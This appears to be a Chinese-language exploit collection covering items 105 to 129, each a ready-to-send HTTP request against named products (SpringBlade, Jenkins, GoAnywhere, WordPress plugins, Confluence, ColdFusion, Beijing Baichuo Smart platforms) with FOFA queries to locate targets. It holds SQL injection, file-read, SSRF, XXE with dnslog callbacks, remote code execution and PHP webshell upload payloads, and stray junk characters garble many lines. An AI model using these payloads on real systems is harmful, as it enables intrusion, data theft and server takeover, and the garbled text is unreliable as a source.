3 P2 h5 V" F" a% n- O  r, i% h. u8 zPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
4 Y. i# k% A$ `: W7 q- fAccept:application/json,text/javascript，*/*;q=0.01
2 l; p4 P2 ?, R5 A& d& x& \- S7 y# n: fX-Requested-with: XMLHttpRequest
4 ?- Y6 i6 Z3 Z3 c2 fUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
& Y" o0 Y. v- ^) s$ u( \Origin: http://192.168.0.1
2 W8 }4 Q# z- B& S2 W0 dReferer: http://192.168.0.1/advance/index.html?time=1671152380564
0 P8 r3 \+ q0 Y/ V1 PAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
/ n9 r) l7 x7 dConnection:close

{
) C+ k7 c( O% F' i/ N; x0 R  w4 R( C"topicurl":"getSysStatusCfg",
3 P, f1 V1 v/ Q2 D5 B"token":""
}
1 T7 z6 h1 a! E
105. SpringBlade v3.2.0 export-user SQL 注入
4 d) b# Y8 p  wFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
# }- H' y1 M' f; M) j- r' O( c% v9 ]
106. SpringBlade dict-biz/list SQL 注入
$ ~: V( `# F& JFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
1 ?' g, j# T4 WHost: your-ip
- z6 A% A& }. n9 A4 S1 S, a0 S7 O+ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
+ I0 B- s4 q! MAccept-Encoding: gzip, deflate
$ `* q2 U8 e# i. PAccept-Language: zh-CN,zh;q=0.9
1 C  I  O7 D: X8 x; C- H1 tConnection: close
3 ?3 o4 q; T7 Y3 T& w6 p
7 h) S4 ^  U; V9 X4 Y# E
- |2 R' y( l) M1 ~$ B5 k107. SpringBlade tenant/list SQL 注入
* B6 `* j  c& TFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
: u; n$ p( i2 ]5 o3 C4 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
- A! a( B2 q( B2 a6 EConnection: close
& x: G1 U* H+ b# i- s
6 `& T& G3 ^* S# q1 n
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
3 R3 D. }0 k; ~( t7 YGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
2 R5 U/ s  Z* AAccept: application/json, text/plain, */*
5 W7 }0 m. q% E( L; l; s/ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- K% Y4 z. H" [# E' ]* oAccept-Encoding: gzip, deflate
% S' l5 ~0 D7 G6 @3 {1 |* nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. h, M9 V' I+ E$ c* S1 T) l) EConnection: close
2 c) F# [' K3 t0 V
, U) E# Y2 L# g9 C' h3 l5 _
( H' X/ d/ g; m7 x" r$ _3 L109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
3 f+ o! |" b! {. @0 K- H# NPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
9 z4 W3 w7 q5 |2 `Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
* a. l8 E& G! `0 j% c" X

4 D1 H4 _( e+ DPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
2 R. M9 z- }$ [1 Z9 U. rdownload
8 w- U+ J5 L5 J: i* e* fContent-Type: application/x-www-form-urlencoded
' H. e* Y! e1 VContent-Length: 0

9 D3 d! @1 p  L; D' S$ Q3 O1 K
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
2 c0 x* [) K4 Q& b' G$ @- x) l[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
: h, t( R; n7 Q3 w4 s$ `5 [

; h; P1 V, O* ]7 v+ a110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
2 X+ A4 H, M1 G  F# I; {# i( ~FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
! P( l! {/ h( H$ E& i. rUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
4 W. o" T; X( w( L3 J* i
" X  ]' a6 Z; J, ?3 d4 e: Y+ W- Y
2 I6 R. l  j/ O5 ^111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
; S# G% J8 E3 T( _Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
' Z0 j0 ~/ p- J, xAccept-Language: en
; |3 h( F0 R3 R) S# E5 h  jAccept-Encoding: gzip
1 M9 j( Q. z. W9 S5 V
8 x3 S* W1 e+ s* ~7 m5 M, o- }
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
2 e) r1 }' A& S6 d) J6 EHost: {{Hostname}}
Content-Type: application/json

9 b/ L& k! t! v' m- P* f/ e{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
% f; l5 U5 O) l/ Z7 z; Z: u9 j& tCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
9 W) u5 k4 x% [" v% ^; N* ]$ PGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
8 l: @' A* R3 b7 bConnection: close
* J! R9 q# I- o& f8 MAccept: */*
6 v& l. u1 W( Q3 UAccept-Language: en
6 O- I: L0 O5 ?" dAccept-Encoding: gzip

( ~+ ^. ]5 j$ U5 U8 G. J
. _" N5 `4 U# {: K# g114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
; R. {" g$ j5 ^" FHost: your-ip
, t9 ]/ o6 B1 W) d2 b% r0 ^2 OUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* N7 }0 @3 X5 I2 a2 r2 u7 h0 X$ y1 QAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
) ^( I" Q7 p* [7 ?# N0 y1 QConnection: close
+ P2 A: }2 a$ o" w
0 }. Q5 F7 N3 p* |: q- n. Z
- @& Z0 A& o/ L' u8 F: _115. WordPress Bricks Builder <= 1.9.6 RCE
6 L- @) g- w2 g& u8 }$ j% XCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
- Y% Y' D4 v" Z$ c第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
1 f+ o' e5 x  NUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
. d  h7 F! ]& nConnection: close
Accept-Encoding: gzip
3 Q0 g" J2 S' e6 c3 P- |7 r4 R

# [: a& {6 w9 \! ~% K: C第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
4 F- |' _0 T$ f" C4 D! ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
3 }7 Z# L5 h$ N1 Q1 `+ cContent-Length: 356
Content-Type: application/json
( @6 Z+ l* t1 N- m5 sAccept-Encoding: gzip

{
"postId": "1",
6 Q. p, X& `/ o& w4 n2 ]  "nonce": "第一步获得的值",
1 Q0 {/ u3 t9 q# R: ^  "element": {
; z' g( y7 G$ P    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
- `6 t. r  [+ d7 ]5 ^        "objectType": "post"
0 }6 |8 Z$ ]. X8 C3 E6 q      }
: e3 W" p/ o/ f5 V% O9 t& L0 x    }
  }
: M9 U8 a, l( o* A( n}
2 ~) j$ t5 v; V# ]9 c

116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
+ x! r' C$ L/ H, H3 W% _" F1 P& THost:
# y' ?! b6 Z  {  L# p% X2 XContent-Type: multipart/form-data; boundary=--------767099171
& o( C$ {& F: H% _: V! l/ OUser-Agent: Mozilla/5.0

----------767099171
& v9 B  q5 x. AContent-Disposition: form-data; name="action"
$ c) e7 v# _, P6 f6 H+ Wconfiguration_saveconfiguration
----------767099171
0 G4 U3 U% k# ^3 L. ~8 DContent-Disposition: form-data; name="form_request"
$ b4 @) G0 D/ u2 {9 }* Kjssupportticket
+ f' A' A! U8 V( Z/ B$ G8 g5 ^----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
3 D% `! _' c) G" t  s7 hContent-Type: image/png
----------767099171--

( V  c8 P4 A5 t9 c
: K; V' k# D& U, q! J3 K5 z1 }117. WordPress LayerSlider插件SQL注入
: o) S/ g3 ^# e9 Gversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: b% W6 l) c4 H5 W3 G$ j5 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ i, Y# t  H) q/ H2 U3 b& ~7 l( hAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
) h2 h: x( _( Q0 D9 L" g0 d* }: }

1 i" W4 D: B8 J. [; \: o: w( q. n118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
" }% \& ?; a6 X5 o% iCVE-2024-0939
FOFA：title="Smart管理平台"
8 W7 H. V. U6 R$ C5 yPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ x! y' M" Y! ^6 \! p4 bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% N6 [2 r# p( l' G2 @( A0 |Accept-Encoding: gzip, deflate
0 i, j1 ~' J+ j; m7 {1 IContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
8 I0 E* p+ W4 H# G% J3 XContent-Length: 405
% m) Z* [9 b+ N( HOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
- y, w$ C% ~! Z$ jSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
. p7 J/ d1 p+ ~2 QConnection: close

+ f6 B' @3 h% v+ S8 \. \-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
( l5 T3 ]" K6 ~5 A' s# T7 f; FContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
  L0 i4 X' j1 r3 {0 h( k: }-----------------------------13979701222747646634037182887
# d& F* D0 `- ~; O0 x% l& GContent-Disposition: form-data; name="txt_path"
$ t( I" R4 i/ r  ~6 O- V6 C' j9 m
1 X# _2 K  p2 H' ?* x/home/src.php
-----------------------------13979701222747646634037182887--

7 W0 B! y  B! O9 `/ k3 ~8 k& k8 M
访问/home/src.php
* U4 @* ]: y0 R" R
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
2 K" ]3 h3 \& K7 H% b. \+ E8 F+ TPOST /sysmanage/sysmanageajax.php HTTP/1.11
5 n+ J" ]* u% L/ m, v$ H& JHost: x.x.x.x
0 J& W/ r# C) j$ \/ `, F( BCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
: O* @- B# q! ?# Z4 N: YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
2 Z7 i8 v9 y  m" v* ?! xAccept: */*
8 i" V, {( P, s5 j. O! I& u1 _1 b0 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 X' X  P0 \% |0 [$ m9 a$ kAccept-Encoding: gzip, deflate
. P$ r. ^1 f0 A3 yContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
# s( G1 T! I5 F; U: DOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
( }0 s/ `0 k6 D) dSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
% n( ^) O0 q* f) B" Y( C# ^" h2 GX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
8 N7 m( Q8 I1 STe: trailers
Connection: close
' P, D$ N# F: t% j
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
$ K! O" b4 t* q; `7 v4 \

120. 北京百绰智能S40管理平台导入web.php任意文件上传
/ A- f$ Y& S9 k7 xCVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
. Z+ Q' }* g# ?5 b  |Host: ip:port
! t2 e1 g$ n! n' iCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
/ f7 Q; b  k, h# G4 Q* S% P& N  RAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- {3 Q7 `. g- }% HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" B# O' R# I* y4 G  J4 ~5 y' MAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
8 [4 @3 R8 i  t; e4 U  ]Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
0 G0 `/ m9 w4 A+ }- |Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 z" |" P) B# \4 A8 O, z- z7 d9 \0 ISec-Fetch-Mode: navigate
- @8 x% @/ B1 w: ZSec-Fetch-Site: same-origin
0 s5 q+ X6 x; V! q7 j+ PSec-Fetch-User: ?1
Te: trailers
Connection: close

9 o7 d; G! Z$ T/ q: ~-----------------------------42328904123665875270630079328
  b% ^# L* D+ tContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
- W& ?6 y% O: m
<?php phpinfo()?>
; U1 n8 C7 m8 c-----------------------------42328904123665875270630079328
& n/ k- C5 f1 b' \Content-Disposition: form-data; name="id_type"
5 k" s; x* B' P! V# S
1
8 J4 o0 |0 B$ z-----------------------------42328904123665875270630079328
) X+ l$ h! Y4 g: SContent-Disposition: form-data; name="1_ck"

1_radhttp
# m6 r" M5 u8 J5 G( A" D. j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


$ @- I; D; H7 U- Y文件路径/upload/2.php

. q3 |" p6 S+ j. i/ H: m121. 北京百绰智能S42管理平台userattestation.php任意文件上传
5 m3 ]% |% r/ R. `* Y1 LCVE-2024-1918
* [  f: U; E+ R- bFOFA：title="Smart管理平台"
1 g7 Y7 @6 e' q+ QPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
% p8 C& M6 n0 J9 z: W# b( X3 a+ ?User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
, K( H# T! k/ A5 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 m' L( [4 m% k0 BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
. k. u6 }; a! JOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
/ h3 p; r) O+ Z) E/ u' `8 \9 T* l& t* ySec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
) t: M0 K* t" N- Q3 ]Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
0 p9 O! A5 c8 K. n  YContent-Disposition: form-data; name="web_img"; filename="1.php"
5 @2 v: J2 F1 [& u2 yContent-Type: application/octet-stream
+ R9 O+ ?- l7 s" h, W' f9 @, `
6 M2 l0 e- U1 _1 U6 J<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
, h* x) C$ i; j7 |$ A-----------------------------42328904123665875270630079328
" N4 O) A& J  m: [% M* d! TContent-Disposition: form-data; name="1_ck"

1_radhttp
  I" J* ]. V. u) Y7 [- s5 O# e+ Y$ y-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
' m  r- K2 O$ u9 ~
set
-----------------------------42328904123665875270630079328

. u6 F$ N( j) R3 R& W
boot/web/upload/weblogo/1.php
+ w7 p' T5 X. K4 J- |
+ r0 s4 `' n% J- C1 {: j122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
+ Y: Q, M- |# R$ q9 D2 D2 m% @其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
- Z6 U+ h+ t1 e4 IHost: x.x.x.x
3 w0 {, I& H( V+ a8 k  c! z- q7 D  O' FCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
. {; l3 E% E% k* x1 o+ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; Q) m: X% q. ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ b3 I; t. @; {  c& O7 ]' n# KUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ {2 m) i6 G$ vSec-Fetch-Site: none
9 D( [% p1 H1 O$ ESec-Fetch-User: ?1
Te: trailers
Connection: close


2 |. T0 W& i) v7 q% h+ s+ r123. Atlassian Confluence 模板注入代码执行
6 v0 o$ Q( L  [: a& ^# r' U% [) eFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
% D3 Q" L3 P3 V7 k' XPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
; j# }( v8 r# p" g$ KAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
8 H1 H2 ]; G/ y: DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- H3 }9 F2 E: e2 f9 E1 EConnection: close
$ {/ c/ ]1 s" I3 h  d2 c& b) WContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

0 X& g) h  n6 K+ @! b
5 H+ y3 e6 O3 X& E124. 湖南建研工程质量检测系统任意文件上传
- C$ ?& Q9 ], I6 b2 kFOFA：body="/Content/Theme/Standard/webSite/login.css"
5 H: v- M4 n" B% IPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
% c2 _9 M7 {" G  ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
; z5 c2 J$ Y. O% @4 C( L" M9 lContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( d% J: J6 N/ I% SConnection: close
Content-Type: application/x-www-form-urlencoded
! C7 @6 ~( Y% {: Y' h% `) T
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
8 L. t$ I9 p! E$ ^5 M. X, k  H5 a

) O9 x0 e, M1 p4 w# Ehttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
6 x+ _9 B' n  x/ d/ NCVE-2024-1709
" i) z- u( [, m) L1 I& ^+ i/ iFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
( G7 r0 Q+ a2 r1 Q5 {

9 p; R$ o( M; T# q使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
9 U. C, j9 {: P& ^8 {; C
  S& S9 T) n+ j+ J2 j8 C% w
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
+ c9 @  W1 k" p! ?( O7 l# \GET /static/../../../../../etc/passwd HTTP/1.1
# o1 @& y6 Q9 F9 _, \0 ]Host: x.x.x.x
2 x: \, H) ]0 P6 B1 U6 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
1 N/ h8 M; }( b/ A! u; m% qAccept: */*
+ d% {7 c6 m  {8 L. B+ _Accept-Language: en
! e+ `: H0 d1 Y- pAccept-Encoding: gzip

" J# [1 s) a: _
  j8 ^% ^  T; Z127. 广联达Linkworks DataExchange.ashx XXE
2 e( G) J* Y8 O. d. U( p. t- y5 RFOFA：body="Services/Identification/login.ashx"
& ?/ ^3 c* f' I  FPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
1 `! F$ Z4 I4 C/ h' o' fHost: 192.168.40.130:8888
  A+ h8 N7 q# @; y3 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
/ B4 ]; h) R! k  L6 {Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 O' p- t: w  V6 \) D0 M% `7 ^) K. \4 EConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
" o5 S1 p$ Q+ ?" ~Sec-Purpose: prefetch;prerender

% l1 t" _6 [8 X# f------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

- |8 |( X2 X; h9 P2 n9 I1 mBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
/ |' v% N$ N' l2 X3 F' H2 F( bContent-Disposition: form-data;name="Params"
Content-Type: text/plain
+ n5 Y. f' F7 g+ W
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
& l- P/ m, S6 c9 Q# A) f<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
5 z* ~% q0 X5 r8 y7 j" ]$ t  v" R>
% s7 R% O& S  F* O3 T1 d<test>&t;</test>
( L+ ?7 r5 Q6 K& s7 J( e/ D- \  w------WebKitFormBoundaryJGgV5l5ta05yAIe0--
0 ^  T! k1 R) [, a% Z& Z* }


* |  G' N+ \+ H' \  ?" g2 n128. Adobe ColdFusion 反序列化
. [/ i: L& b; V5 u4 [# KCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
4 t3 c. f! M' B+ G8 P9 b9 I# {FOFA：app="Adobe-ColdFusion"
PAYLOAD
+ x! t9 h5 F8 t6 d' s
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
! I1 b2 N4 A& T0 I) D6 TGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
/ H; \1 v: _) x( @2 R9 f, e5 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
- y0 h/ |& f1 S( s; I* k2 b" YAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
3 b* n  U4 ~; z! ^; `& v; y2 F

第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
7 |) a7 e( ~9 w9 t# @, eConnection: close
9 L# U3 s* N! }5 S$ b, p2 x2 `uuid: 85f60018-a654-4410-a783-f81cbd5000b9
( \5 E+ j& A' s( E3 `+ G

